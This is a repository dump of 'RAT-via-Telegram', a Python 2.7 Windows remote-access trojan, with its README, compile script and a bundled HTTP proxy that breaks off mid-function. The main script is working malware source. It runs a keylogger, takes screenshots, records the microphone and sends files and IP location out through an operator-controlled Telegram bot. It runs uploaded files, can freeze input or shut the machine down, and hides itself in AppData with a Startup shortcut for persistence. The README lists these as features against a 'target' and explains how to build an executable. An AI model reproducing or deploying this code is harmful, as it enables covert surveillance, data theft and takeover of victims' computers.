[
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2017 Ritiek Malhotra\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "RATAttack.py",
    "content": "#Todo\n#Split functions to classes\n#Solve bugs\n#Allow multi-keyboard capability\n#Add new features from the Master fork\n#Implement the new telepot MessageLoop() Class\n\n\nfrom PIL import ImageGrab  # /capture_pc\nfrom shutil import copyfile, copyfileobj, rmtree  # /ls, /pwd, /cd /copy\nfrom sys import argv, path, stdout  # console output\nfrom json import loads  # reading json from ipinfo.io\nfrom winshell import startup  # persistence\nfrom tendo import singleton  # this makes the application exit if there's another instance already running\nfrom win32com.client import Dispatch  # used for WScript.Shell\nfrom time import strftime, sleep\nimport time\nimport threading  # used for proxy\nimport proxy\nimport pyaudio, wave  # /hear\nimport telepot, requests  # telepot => telegram, requests => file download\nfrom telepot.namedtuple import InlineKeyboardMarkup, InlineKeyboardButton\nfrom telepot.loop import MessageLoop\nimport os, os.path, platform, ctypes\nimport pyHook, pythoncom  #keylogger\nimport getpass\nimport socket\n\n# global content_type, chat_type, chat_id\nglobal content_type, chat_type, chat_id, response, command\n\n\ndef checkchat_id(chat_id):\n    return len(known_ids) == 0 or str(chat_id) in known_ids\n\n\ndef pressed_chars(event):\n    if event and type(event.Ascii) == int:\n        f = open(log_file, \"a\")\n        if len(event.GetKey()) > 1:\n            tofile = '<' + event.GetKey() + '>'\n        else:\n            tofile = event.GetKey()\n        if tofile == '<Return>':\n            print tofile\n        else:\n            stdout.write(tofile)\n    return not keyboardFrozen\n\n\ndef internalIP():\n    internal_ip = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    internal_ip.connect(('google.com', 0))\n    return internal_ip.getsockname()[0]\n\n\ndef user_input(bot, from_id, msg):\n    target = ''\n    bot.sendMessage(from_id, \"What's the target?\")\n\n    #target = msg['text']\n    target = checkchat_id(msg[0])\n    return target\n\ndef on_chat_message(msg):\n    # chat_id = msg['chat']['id']\n    content_type, chat_type, chat_id = telepot.glance(msg)\n    info_keyboard = InlineKeyboardMarkup(inline_keyboard=[\n        [InlineKeyboardButton(text='hear: [time in seconds, default=5s]', callback_data='hear')],\n        [InlineKeyboardButton(text='ip_info', callback_data='ip_info')],\n        [InlineKeyboardButton(text='keylogs', callback_data='keylogs')],\n        [InlineKeyboardButton(text='ls: [target_folder]', callback_data='ls')],\n        [InlineKeyboardButton(text='PC_info', callback_data='pc_info')],\n        [InlineKeyboardButton(text='PWD', callback_data='pwd')],\n        [InlineKeyboardButton(text='Tasklist: Returns the tasklist', callback_data='tasklist')],\n        [InlineKeyboardButton(text='Self_Destruct', callback_data='self_destruct')],\n        [InlineKeyboardButton(text='arp: Returns ARP Table', callback_data='arp')],\n        [InlineKeyboardButton(text='DNS_Cache: Returns the DNS cache', callback_data='dns')],\n        [InlineKeyboardButton(text='NSlookup: Returns the DNS table from the DNS server', callback_data='nslookup')]\n    ])\n    exec_keyboard = InlineKeyboardMarkup(inline_keyboard=[\n        [InlineKeyboardButton(text='Capture_PC', callback_data='capture_pc')],\n        [InlineKeyboardButton(text='cd: <target_dir>', callback_data='cd')],\n        [InlineKeyboardButton(text='Delete: <target_file>', callback_data='delete')],\n        [InlineKeyboardButton(text='Download: <target_file>', callback_data='download')],\n        [InlineKeyboardButton(text='freeze_keyboard', callback_data='freeze_keyboard')],\n        [InlineKeyboardButton(text='unfreeze_keyboard', callback_data='unfreeze_keyboard')],\n        [InlineKeyboardButton(text='freeze_mouse', callback_data='freeze_mouse')],\n        [InlineKeyboardButton(text='unfreeze_mouse', callback_data='unfreeze_mouse')],\n        [InlineKeyboardButton(text='msg_box: <text>', callback_data='msg_box')],\n        [InlineKeyboardButton(text='Play: <youtube_videoId>', callback_data='play')],\n        [InlineKeyboardButton(text='Proxy', callback_data='proxy')],\n        [InlineKeyboardButton(text='run <target_file>', callback_data='run')],\n        [InlineKeyboardButton(text='Self_Destruct', callback_data='self_destruct')],\n        [InlineKeyboardButton(text='Upload', callback_data='upload')],\n        [InlineKeyboardButton(text='Ping: Ping a target', callback_data='ping')]\n    ])\n    bot_keyboard = InlineKeyboardMarkup(inline_keyboard=[\n        [InlineKeyboardButton(text='Self_Destruct', callback_data='self_destruct')],\n        [InlineKeyboardButton(text='Reboot the bot', callback_data='reboot_bot')],\n        [InlineKeyboardButton(text='Reboot the computer', callback_data='reboot_pc')],\n        [InlineKeyboardButton(text='Shutdown the computer', callback_data='shutdown_pc')],\n    ])\n    bot.sendMessage(chat_id, 'Information Gathering Commands:', reply_markup=info_keyboard)\n    bot.sendMessage(chat_id, 'Executable Commands:', reply_markup=exec_keyboard)\n    bot.sendMessage(chat_id, 'Management Commands:', reply_markup=bot_keyboard)\n\n    if checkchat_id(chat_id):\n        if 'text' in msg:\n            print 'Got message from ' + str(chat_id) + ': ' + msg['text']\n\n\ndef on_callback_query(msg):\n    command = ''\n    file_name = ''\n    response = ''\n    target = ''\n    query_id, from_id, query_data = telepot.glance(msg, flavor='callback_query')\n    print('Callback Query:', query_id, from_id, query_data)\n    if query_data == 'capture_pc':\n        bot.sendChatAction(from_id, 'typing')\n        screenshot = ImageGrab.grab()\n        screenshot.save('screenshot.jpg')\n        bot.sendChatAction(from_id, 'upload_photo')\n        bot.sendDocument(from_id, open('screenshot.jpg', 'rb'))\n        os.remove('screenshot.jpg')\n    elif query_data == 'arp':\n        bot.sendChatAction(from_id, 'typing')\n        lines = os.popen('arp -a -N ' + internalIP())\n        for line in lines:\n            line.replace('\\n\\n', '\\n')\n            response += line\n        bot.sendMessage(from_id, response)\n    elif query_data == 'dns':\n        bot.sendChatAction(from_id, 'typing')\n        lines = os.popen('ipconfig /displaydns')\n        for line in lines:\n            line.replace('\\n\\n', '\\n')\n            if len(line) > 2000:\n                response2 += line\n            else:\n                response += line\n        bot.sendMessage(from_id, response)\n        bot.sendMessage(from_id, response2)\n        #Too long, can't be sent - needs to be splited\n    elif query_data == 'nslookup':\n        bot.sendChatAction(from_id, 'typing')\n        lines = os.popen('nslookup -ls -d *')\n        for line in lines:\n            line.replace('\\n\\n', '\\n')\n            response += line\n        bot.sendMessage(from_id, response)\n    elif query_data == 'ping':\n        bot.sendChatAction(from_id, 'typing')\n        target = user_input(bot, from_id, msg)\n        print target\n        #\n        #    bot.sendMessage(from_id, \"What's the target?\")\n        #    bot.answerCallbackQuery()\n        #    target = query_data\n        #\n        lines = os.popen('ping '+ target)\n        for line in lines:\n            line.replace('\\n\\n', '\\n')\n            response += line\n        bot.sendMessage(from_id, response)\n    elif query_data == 'delete':\n        command = command.replace('/delete', '')\n        path_file = command.strip()\n        try:\n            os.remove(path_file)\n            response = 'Succesfully removed file'\n            bot.sendMessage(from_id, response)\n        except:\n            try:\n                os.rmdir(path_file)\n                response = 'Succesfully removed folder'\n                bot.sendMessage(from_id, response)\n            except:\n                try:\n                    shutil.rmtree(path_file)\n                    response = 'Succesfully removed folder and it\\'s files'\n                    bot.sendMessage(from_id, response)\n                except:\n                    response = 'File not found'\n                    bot.sendMessage(from_id, response)\n    elif query_data == 'download':\n        bot.sendChatAction(from_id, 'typing')\n        path_file = command.replace('/download', '')\n        path_file = path_file[1:]\n        if path_file == '':\n            response = 'Please type the full path to download, for example, \"c:\\windows\\system32\\hal.dll\"'\n            bot.sendMessage(from_id, response)\n            while path_file == '':\n                query_data = path_file\n                bot.message\n            else:\n                bot.sendChatAction(from_id, 'upload_document')\n                try:\n                    bot.sendDocument(from_id, open(path_file, 'rb'))\n                except:\n                    try:\n                        bot.sendDocument(from_id, open(hide_folder + '\\\\' + path_file))\n                        response = 'Found in hide_folder: ' + hide_folder\n                        bot.sendMessage(from_id, response)\n                    except:\n                        response = 'Could not find ' + path_file\n                        bot.sendMessage(from_id, response)\n            #response = '/download C:/path/to/file.name or /download file.name'\n            #bot.sendMessage(from_id, response)\n\n        else:\n            bot.sendChatAction(from_id, 'upload_document')\n            try:\n                bot.sendDocument(from_id, open(path_file, 'rb'))\n            except:\n                try:\n                    bot.sendDocument(from_id, open(hide_folder + '\\\\' + path_file))\n                    response = 'Found in hide_folder: ' + hide_folder\n                    bot.sendMessage(from_id, response)\n                except:\n                    response = 'Could not find ' + path_file\n                    bot.sendMessage(from_id, response)\n    elif query_data == 'freeze_keyboard':\n        global keyboardFrozen\n        keyboardFrozen = not command.startswith('un')\n        hookManager.KeyAll = lambda event: not keyboardFrozen\n        response = 'Keyboard is now '\n        if keyboardFrozen:\n            response += 'disabled. To enable, use unfreeze_keyboard'\n            bot.sendMessage(from_id, response)\n        else:\n            response += 'enabled'\n            bot.sendMessage(from_id, response)\n    elif query_data == 'unfreeze_keyboard':\n        hookManager.KeyAll = lambda event: keyboardFrozen\n        response = 'Keyboard is now enabled'\n        bot.sendMessage(from_id, response)\n    elif query_data == 'freeze_mouse':\n        global mouseFrozen\n        mouseFrozen = not command.startswith('/un')\n        hookManager.MouseAll = lambda event: not mouseFrozen\n        hookManager.HookMouse()\n        response = 'Mouse is now '\n        if mouseFrozen:\n            response += 'disabled. To enable, use unfreeze_mouse'\n            bot.sendMessage(from_id, response)\n        else:\n            response += 'enabled'\n            bot.sendMessage(from_id, response)\n    elif query_data == 'unfreeze_mouse':\n        hookManager.MouseAll = lambda event: mouseFrozen\n        response = 'Mouse is now unfreeze'\n        bot.sendMessage(from_id, response)\n    elif query_data == 'hear':\n        SECONDS = -1\n        try:\n            SECONDS = int(command.replace('/hear', '').strip())\n        except:\n            SECONDS = 5\n\n        CHANNELS = 2\n        CHUNK = 1024\n        FORMAT = pyaudio.paInt16\n        RATE = 44100\n\n        audio = pyaudio.PyAudio()\n        bot.sendChatAction(from_id, 'typing')\n        stream = audio.open(format=FORMAT, channels=CHANNELS,\n                            rate=RATE, input=True,\n                            frames_per_buffer=CHUNK)\n        frames = []\n        for i in range(0, int(RATE / CHUNK * SECONDS)):\n            data = stream.read(CHUNK)\n            frames.append(data)\n        stream.stop_stream()\n        stream.close()\n        audio.terminate()\n\n        wav_path = hide_folder + '\\\\mouthlogs.wav'\n        waveFile = wave.open(wav_path, 'wb')\n        waveFile.setnchannels(CHANNELS)\n        waveFile.setsampwidth(audio.get_sample_size(FORMAT))\n        waveFile.setframerate(RATE)\n        waveFile.writeframes(b''.join(frames))\n        waveFile.close()\n        bot.sendChatAction(from_id, 'upload_document')\n        bot.sendAudio(from_id, audio=open(wav_path, 'rb'))\n    elif query_data == 'ip_info':\n        bot.sendChatAction(from_id, 'find_location')\n        info = requests.get('http://ipinfo.io').text  # json format\n        response = 'External IP: ' + info.replace('{', '').replace('}', '').replace(' \"', '').replace('\"',\n                                                                                                      '') + '\\n' + 'Internal IP: ' + '\\n' + internalIP()\n        bot.sendMessage(from_id, response)\n        location = (loads(info)['loc']).split(',')\n        bot.sendLocation(from_id, location[0], location[1])\n    elif query_data == 'keylogs':\n        bot.sendChatAction(from_id, 'upload_document')\n        bot.sendDocument(from_id, open(log_file, \"rb\"))\n    elif query_data == 'ls':\n        bot.sendChatAction(from_id, 'typing')\n        command = command.replace('/ls', '')\n        command = command.strip()\n        files = []\n        if len(command) > 0:\n            files = os.listdir(command)\n        else:\n            files = os.listdir(os.getcwd())\n        human_readable = ''\n        for file in files:\n            human_readable += file + '\\n'\n        response = human_readable\n        bot.sendMessage(from_id, response)\n    elif query_data == 'msg_box':\n        message = command.replace('/msg_box', '')\n        if message == '':\n            response = '/msg_box yourText'\n            bot.sendMessage(from_id, response)\n        else:\n            ctypes.windll.user32.MessageBoxW(0, message, u'Information', 0x40)\n            response = 'MsgBox displayed'\n            bot.sendMessage(from_id, response)\n    elif query_data == 'pc_info':\n        bot.sendChatAction(from_id, 'typing')\n        info = ''\n        for pc_info in platform.uname():\n            info += '\\n' + pc_info\n        response = info + '\\n' + 'Username: ' + getpass.getuser()\n        bot.sendMessage(from_id, response)\n    elif query_data == 'play':\n        command = command.replace('/play ', '')\n        command = command.strip()\n        if len(command) > 0:\n            systemCommand = 'start \\\"\\\" \\\"https://www.youtube.com/embed/'\n            systemCommand += command\n            systemCommand += '?autoplay=1&showinfo=0&controls=0\\\"'\n            if os.system(systemCommand) == 0:\n                response = 'YouTube video is now playing'\n                bot.sendMessage(from_id, response)\n            else:\n                response = 'Failed playing YouTube video'\n                bot.sendMessage(from_id, response)\n        else:\n            response = '/play <VIDEOID>\\n/play A5ZqNOJbamU'\n            bot.sendMessage(from_id, response)\n    elif query_data == 'proxy':\n        threading.Thread(target=proxy.main).start()\n        info = requests.get('http://ipinfo.io').text  # json format\n        ip = (loads(info)['ip'])\n        response = 'Proxy succesfully setup on ' + ip + ':8081'\n        bot.sendMessage(from_id, response)\n    elif query_data == 'pwd':\n        response = os.getcwd()\n        bot.sendMessage(from_id, response)\n    elif query_data == 'tasklist':\n        response2 = ''\n        lines = os.popen('tasklist /FI \"STATUS eq RUNNING\"')\n        for line in lines:\n            line.replace('\\n\\n', '\\n')\n            if len(line)>2000:\n                response2 +=line\n            else:\n                response += line\n        print len(response)\n        bot.sendMessage(from_id, response)\n        bot.sendMessage(from_id, response2)\n    elif query_data == 'run':\n        bot.sendChatAction(from_id, 'typing')\n        path_file = command.replace('/run', '')\n        path_file = path_file[1:]\n        if path_file == '':\n            response = '/run_file C:/path/to/file'\n            bot.sendMessage(from_id, response)\n        else:\n            try:\n                os.startfile(path_file)\n                response = 'File ' + path_file + ' has been run'\n                bot.sendMessage(from_id, response)\n            except:\n                try:\n                    os.startfile(hide_folder + '\\\\' + path_file)\n                    response = 'File ' + path_file + ' has been run from hide_folder'\n                    bot.sendMessage(from_id, response)\n                except:\n                    response = 'File not found'\n                    bot.sendMessage(from_id, response)\n    elif query_data == 'self_destruct':\n        bot.sendChatAction(from_id, 'typing')\n        response = 'Destroying all traces!'\n        bot.sendMessage(from_id, response)\n        if os.path.exists(hide_folder):\n            for file in os.listdir(hide_folder):\n                try:\n                    os.remove(hide_folder + '\\\\' + file)\n                except:\n                    pass\n        if os.path.isfile(target_shortcut):\n            os.remove(target_shortcut)\n        while True:\n            sleep(10)\n    elif query_data == 'to':\n        command = command.replace('/to', '')\n        if command == '':\n            response = '/to <COMPUTER_1_NAME>, <COMPUTER_2_NAME> /msg_box Hello HOME-PC and WORK-PC'\n            bot.sendMessage(from_id, response)\n        else:\n            targets = command[:command.index('/')]\n            if platform.uname()[1] in targets:\n                command = command.replace(targets, '')\n                msg = {'text': command, 'chat': {'id': chat_id}}\n                handle(msg)\n    elif query_data == 'reboot':\n        bot.sendChatAction(from_id, 'typing')\n        response = 'Rebooting, please wait'\n        bot.sendMessage(from_id, response)\n\n    elif query_data == 'cd':\n        command = command.replace('/cd ', '')\n        try:\n            os.chdir(command)\n            response = os.getcwd() + '>'\n            bot.sendMessage(from_id, response)\n        except:\n            response = 'No subfolder matching ' + command\n            bot.sendMessage(from_id, response)\n    elif query_data == 'reboot_pc':\n        bot.sendChatAction(from_id, 'typing')\n        command = os.popen('shutdown /r /f /t 0')\n        response = 'Computer will be restarted NOW.'\n        bot.sendMessage(from_id, response)\n    elif query_data == 'shutdown_pc':\n        bot.sendChatAction(from_id, 'typing')\n        command = os.popen('shutdown /s /f /t 0')\n        response = 'Computer will be shutdown NOW.'\n        bot.sendMessage(from_id, response)\n    elif query_data == 'upload':  # Upload a file to target\n        file_id = None\n        if 'document' in msg:\n            file_name = msg['document']['file_name']\n            file_id = msg['document']['file_id']\n        elif 'photo' in msg:\n            file_time = int(time.time())\n            file_id = msg['photo'][1]['file_id']\n            file_name = file_id + '.jpg'\n        file_path = bot.getFile(file_id=file_id)['file_path']\n        link = 'https://api.telegram.org/file/bot' + str(token) + '/' + file_path\n        file = (requests.get(link, stream=True)).raw\n        with open(hide_folder + '\\\\' + file_name, 'wb') as out_file:\n            copyfileobj(file, out_file)\n        response = 'File received succesfully.'\n        bot.sendMessage(from_id, response)\n\n    bot.answerCallbackQuery(query_id, text='DONE SON!')\n\n\nme = singleton.SingleInstance()\n\n# HIDING OPTIONS\n# ---------------------------------------------\nappdata_roaming_folder = 'APPDATA'  # = 'C:\\Users\\Username\\AppData\\Roaming'\nhide_folder = appdata_roaming_folder + r'\\Portal'  # = 'C:\\Users\\Username\\AppData\\Roaming\\Portal'\ncompiled_name = 'portal.exe'  # Name of compiled .exe to hide in hide_folder, i.e 'C:\\Users\\Username\\AppData\\Roaming\\Portal\\portal.exe'\n# ---------------------------------------------\ntarget_shortcut = startup() + '\\\\' + compiled_name.replace('.exe', '.lnk')\nif not os.path.exists(hide_folder):\n    os.makedirs(hide_folder)\n    hide_compiled = hide_folder + '\\\\' + compiled_name\n    copyfile(argv[0], hide_compiled)\n    shell = Dispatch('WScript.Shell')\n    shortcut = shell.CreateShortCut(target_shortcut)\n    shortcut.Targetpath = hide_compiled\n    shortcut.WorkingDirectory = hide_folder\n    shortcut.save()\niniti = False\nkeyboardFrozen = False\nmouseFrozen = False\nuser = os.environ.get(\"USERNAME\")  # Windows username to append keylogs.txt\nlog_file = hide_folder + '\\\\keylogs.txt'\nhookManager = pyHook.HookManager()\n# functionalities dictionary: command:arguments\n\nwith open(log_file, \"a\") as writing:\n    writing.write(\"-------------------------------------------------\\n\")\n    writing.write(user + \" Log: \" + strftime(\"%b %d@%H:%M\") + \"\\n\\n\")\n\n# REPLACE THE LINE BELOW WITH THE TOKEN OF THE BOT YOU GENERATED!\n#token = os.environ['11111111:111111111111111111111111111111111']  # you can set your environment variable as well\ntoken = '11111111:111111111111111111111111111111111'\n\n# ADD YOUR chat_id TO THE LIST BELOW IF YOU WANT YOUR BOT TO ONLY RESPOND TO ONE PERSON!\n# known_ids = ''\n# known_ids = []\n# known_ids.append(os.environ['TELE# GRAM_CHAT_ID']) # make sure to remove this line if you don't have this environment variable\n# known_ids.append(os.environ['TELEGRAM_CHAT_ID']) # make sure to remove this line if you don't have this environment variable\n\n#appdata_roaming_folder = os.environ['APPDATA']\t# = 'C:\\Users\\Username\\AppData\\Roaming'\n\nknown_ids = '111111111'\nbot = telepot.Bot(token)\nMessageLoop(bot, {'chat': on_chat_message,\n                  'callback_query': on_callback_query}).run_as_thread()\n#bot.message_loop({'chat': on_chat_message,\n#                  'callback_query': on_callback_query})\nif len(known_ids) > 0:\n    helloWorld = platform.uname()[1] + \": I'm up. Type anything to get the keyboard layout.\"\n    print helloWorld\n    # for known_id in known_ids:\n    bot.sendMessage(known_ids, helloWorld)\nprint 'Listening for commands on ' + platform.uname()[1] + '...'\nhookManager.KeyDown = pressed_chars\nhookManager.HookKeyboard()\npythoncom.PumpMessages()\n"
  },
  {
    "path": "README.md",
    "content": "# RAT-via-Telegram\n## Dviros's notes:\nWindows Remote Post Breach Tool via Telegram (Python 2.7),\nOriginally created by <a href=\"http://github.com/Ritiek\">Ritiek</a>, Forked and modified by <a href=\"http://github.com/mvrozanti\">mvrozanti</a> and then myself.\n\nThe whole purpose of this tool is to demonstrate (as a \"PoC\") the control of an already breached machine, via Telegram.\nAs the same with my already written tools, I do not promote illegal activities.\n\nThis modified version uses Telegram bot API v2, instead of the traditional v1. The main change is keyboard buttons instead of text typing.\nI will try to add new features, close bugs and be compatible to the API v3, after adding the needed changes from \"mvrozanti\".\nIn the meanwhile, cd, download, upload, run and delete commands will not work.\n\n\n## Donations will be highly appreciated\n![Monero Donation](https://i.imgur.com/AMK3OCh.png)\n\n### Currently Working Features:\n\n- Run keylogger on the target\n- Get target PC's Windows version, processor and more\n- Get target PC's IP address information and approximate location on map\n- [WIP] Delete files or folder on target\n- Show current directory on target\n- [WIP] Change current directory on target\n- List current or specified directory on target\n- [WIP] Download any file from the target\n- Upload local files to the target. Send your image, pdf, exe or anything as `file` to the Telegram bot\n- Autostart playing a video in fullscreen and no controls for a youtube video on target\n- Screenshots of the target\n- [WIP] Execute any file on the target\n- Access to microphone on target\n- Start HTTP Proxy Server\n- Freeze target's keyboard\n- Return the target's ARP table\n- [WIP] Schedule tasks to run at specified time\n- [WIP] Freeze target's mouse\n- Get active processes and services\n- [WIP] Capture clipboard (Text, Image)\n- [WIP] Disable/Enable mouse/keyboard\n- [WIP] Hide desktop icons\n- [WIP] Update .exe on target\n- [WIP] Shutdown \\ Reboot computer\n- [WIP] Self-Destruct RAT on the target\n- [WIP] Take snapshots from the webcam (if attached)\n- [WIP] Copy and Move files on the target\n- [WIP] Audio compression\n- More coming soon!\n\n\n\n## Ritiek's legacy notes:\n### Why another one?\n\n- The current Remote Administration Tools in the market face 2 major problems:\n\n    - Lack of encryption.\n    - Require port forwarding in order to control from hundreds of miles.\n\n- This RAT overcomes both these issues by using the Telegram bot API.\n\n    - Fully encrypted. The data being exchanged cannot be spied upon using MITM tools.\n    - Telegram messenger app provides a simple way to communicate to the target without configuring port forward before hand on the target.\n\n\n## Screenshots:\n\n<img src=\"http://i.imgur.com/I5nzrbz.jpg\">\n\n## Installation & Usage:\n\n- Clone this repository.\n- Set up a new Telegram bot talking to the `BotFather`.\n- Copy this token and replace it in the beginning of the script.\n- Install the dependencies: `pip install -r requirements.txt`.\n- Install pyHook `64-bit` or `32-bit` depending on your system.\n    - For 64-bit- `pip install pyHook-1.5.1-cp27-cp27m-win_amd64.whl`.\n    - For 32-bit- `pip install pyHook-1.5.1-cp27-cp27m-win32.whl`.\n- To run the script: `python RATAttack.py`.\n- Find your bot on telegram and send some command to the bot to test it.\n- To restrict the bot so that it responds only to you, note down your `chat_id` from the console and replace it in the script and comment out the line `return True`. Don't worry, you'll know when you read the comments in the script.\n<img src=\"http://i.imgur.com/XKARtrp.png\">\n- A folder named `RATAttack` will be created in your working directory containing `keylogs.txt` and any files you upload to the bot.\n\n\n## Compiling:\n\n### How To Compile:\n#### Either:\n\tReplace your path in compileAndRun.bat (running this will actually run the executable)\n#### Or:\n\tRun `pyinstaller --onefile --noconsole C:\\path\\to\\RATAttack.py`. You can also pass `--icon=<path\\to\\icon.ico>` to use any custom icon.\n- Once it is compiled successfully, find the `.exe` file in `C:\\Python27\\Scripts\\dist\\`. You can change the name of the `.exe` to anything you wish.\n- **BEWARE!** If you run the compiled `.exe`, the script will hide itself and infect your PC to run at startup. You can return to normal by using the `/self_destruct` option or manually removing `C:\\Users\\Username\\AppData\\Roaming\\Portal` directory and `C:\\Users\\Username\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\portal.lnk` (although I recommend removing them manually for the time being).\n\n### Modifying Settings:\n\n- You can also modify the name of hidden `.exe` file and location & name of the folder where the hidden `.exe` will hide itself. To do this; modify `compiled_name` and `hide_folder` respectively.\n- Assign your known chat ids to beginning of RATAttack.py\n\n\n\n## License:\n\n`The MIT License`\n"
  },
  {
    "path": "compileAndRun.bat",
    "content": "rem --specpath \"D:\\Google Drive\\Programming\\Python\\RAT-via-Telegram\\\" --distpath \"D:\\Google Drive\\Programming\\Python\\RAT-via-Telegram\\dist\" --workpath \"D:\\Google Drive\\Programming\\Python\\RAT-via-Telegram\\build\"\npyinstaller --clean --upx-dir \"upx393w\" --onefile \"D:\\Google Drive\\Programming\\Python\\RAT-via-Telegram\\RATAttack.py\"\n\"D:\\Google Drive\\Programming\\Python\\RAT-via-Telegram\\dist\\RATAttack.exe\""
  },
  {
    "path": "proxy.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n    proxy.py\n    ~~~~~~~~\n    \n    HTTP Proxy Server in Python.\n    \n    :copyright: (c) 2013 by Abhinav Singh.\n    :license: BSD, see LICENSE for more details.\n\"\"\"\nVERSION = (0, 2)\n__version__ = '.'.join(map(str, VERSION[0:2]))\n__description__ = 'HTTP Proxy Server in Python'\n__author__ = 'Abhinav Singh'\n__author_email__ = 'mailsforabhinav@gmail.com'\n__homepage__ = 'https://github.com/abhinavsingh/proxy.py'\n__license__ = 'BSD'\n\nimport sys\nimport threading\nimport datetime\nimport argparse\nimport logging\nimport socket\nimport select\n\nlogger = logging.getLogger(__name__)\n\n# True if we are running on Python 3.\nPY3 = sys.version_info[0] == 3\n\nif PY3:\n    text_type = str\n    binary_type = bytes\n    from urllib import parse as urlparse\nelse:\n    text_type = unicode\n    binary_type = str\n    import urlparse\n\n\ndef text_(s, encoding='utf-8', errors='strict'):\n    \"\"\" If ``s`` is an instance of ``binary_type``, return\n    ``s.decode(encoding, errors)``, otherwise return ``s``\"\"\"\n    if isinstance(s, binary_type):\n        return s.decode(encoding, errors)\n    return s  # pragma: no cover\n\n\ndef bytes_(s, encoding='utf-8', errors='strict'):\n    \"\"\" If ``s`` is an instance of ``text_type``, return\n    ``s.encode(encoding, errors)``, otherwise return ``s``\"\"\"\n    if isinstance(s, text_type):  # pragma: no cover\n        return s.encode(encoding, errors)\n    return s\n\nversion = bytes_(__version__)\n\nCRLF, COLON, SP = b'\\r\\n', b':', b' '\n\nHTTP_REQUEST_PARSER = 1\nHTTP_RESPONSE_PARSER = 2\n\nHTTP_PARSER_STATE_INITIALIZED = 1\nHTTP_PARSER_STATE_LINE_RCVD = 2\nHTTP_PARSER_STATE_RCVING_HEADERS = 3\nHTTP_PARSER_STATE_HEADERS_COMPLETE = 4\nHTTP_PARSER_STATE_RCVING_BODY = 5\nHTTP_PARSER_STATE_COMPLETE = 6\n\nCHUNK_PARSER_STATE_WAITING_FOR_SIZE = 1\nCHUNK_PARSER_STATE_WAITING_FOR_DATA = 2\nCHUNK_PARSER_STATE_COMPLETE = 3\n\n\nclass ChunkParser(object):\n    \"\"\"HTTP chunked encoding response parser.\"\"\"\n    \n    def __init__(self):\n        self.state = CHUNK_PARSER_STATE_WAITING_FOR_SIZE\n        self.body = b''\n        self.chunk = b''\n        self.size = None\n    \n    def parse(self, data):\n        more = True if len(data) > 0 else False\n        while more: more, data = self.process(data)\n    \n    def process(self, data):\n        if self.state == CHUNK_PARSER_STATE_WAITING_FOR_SIZE:\n            line, data = HttpParser.split(data)\n            self.size = int(line, 16)\n            self.state = CHUNK_PARSER_STATE_WAITING_FOR_DATA\n        elif self.state == CHUNK_PARSER_STATE_WAITING_FOR_DATA:\n            remaining = self.size - len(self.chunk)\n            self.chunk += data[:remaining]\n            data = data[remaining:]\n            if len(self.chunk) == self.size:\n                data = data[len(CRLF):]\n                self.body += self.chunk\n                if self.size == 0:\n                    self.state = CHUNK_PARSER_STATE_COMPLETE\n                else:\n                    self.state = CHUNK_PARSER_STATE_WAITING_FOR_SIZE\n                self.chunk = b''\n                self.size = None\n        return len(data) > 0, data\n\nclass HttpParser(object):\n    \"\"\"HTTP request/response parser.\"\"\"\n    \n    def __init__(self, type=None):\n        self.state = HTTP_PARSER_STATE_INITIALIZED\n        self.type = type if type else HTTP_REQUEST_PARSER\n        \n        self.raw = b''\n        self.buffer = b''\n        \n        self.headers = dict()\n        self.body = None\n        \n        self.method = None\n        self.url = None\n        self.code = None\n        self.reason = None\n        self.version = None\n        \n        self.chunker = None\n    \n    def parse(self, data):\n        self.raw += data\n        data = self.buffer + data\n        self.buffer = b''\n        \n        more = True if len(data) > 0 else False\n        while more: \n            more, data = self.process(data)\n        self.buffer = data\n    \n    def process(self, data):\n        if self.state >= HTTP_PARSER_STATE_HEADERS_COMPLETE and \\\n        (self.method == b\"POST\" or self.type == HTTP_RESPONSE_PARSER):\n            if not self.body:\n                self.body = b''\n\n            if b'content-length' in self.headers:\n                self.state = HTTP_PARSER_STATE_RCVING_BODY\n                self.body += data\n                if len(self.body) >= int(self.headers[b'content-length'][1]):\n                    self.state = HTTP_PARSER_STATE_COMPLETE\n            elif b'transfer-encoding' in self.headers and self.headers[b'transfer-encoding'][1].lower() == b'chunked':\n                if not self.chunker:\n                    self.chunker = ChunkParser()\n                self.chunker.parse(data)\n                if self.chunker.state == CHUNK_PARSER_STATE_COMPLETE:\n                    self.body = self.chunker.body\n                    self.state = HTTP_PARSER_STATE_COMPLETE\n            \n            return False, b''\n        \n        line, data = HttpParser.split(data)\n        if line == False: return line, data\n        \n        if self.state < HTTP_PARSER_STATE_LINE_RCVD:\n            self.process_line(line)\n        elif self.state < HTTP_PARSER_STATE_HEADERS_COMPLETE:\n            self.process_header(line)\n        \n        if self.state == HTTP_PARSER_STATE_HEADERS_COMPLETE and \\\n        self.type == HTTP_REQUEST_PARSER and \\\n        not self.method == b\"POST\" and \\\n        self.raw.endswith(CRLF*2):\n            self.state = HTTP_PARSER_STATE_COMPLETE\n        \n        return len(data) > 0, data\n    \n    def process_line(self, data):\n        line = data.split(SP)\n        if self.type == HTTP_REQUEST_PARSER:\n            self.method = line[0].upper()\n            self.url = urlparse.urlsplit(line[1])\n            self.version = line[2]\n        else:\n            self.version = line[0]\n            self.code = line[1]\n            self.reason = b' '.join(line[2:])\n        self.state = HTTP_PARSER_STATE_LINE_RCVD\n    \n    def process_header(self, data):\n        if len(data) == 0:\n            if self.state == 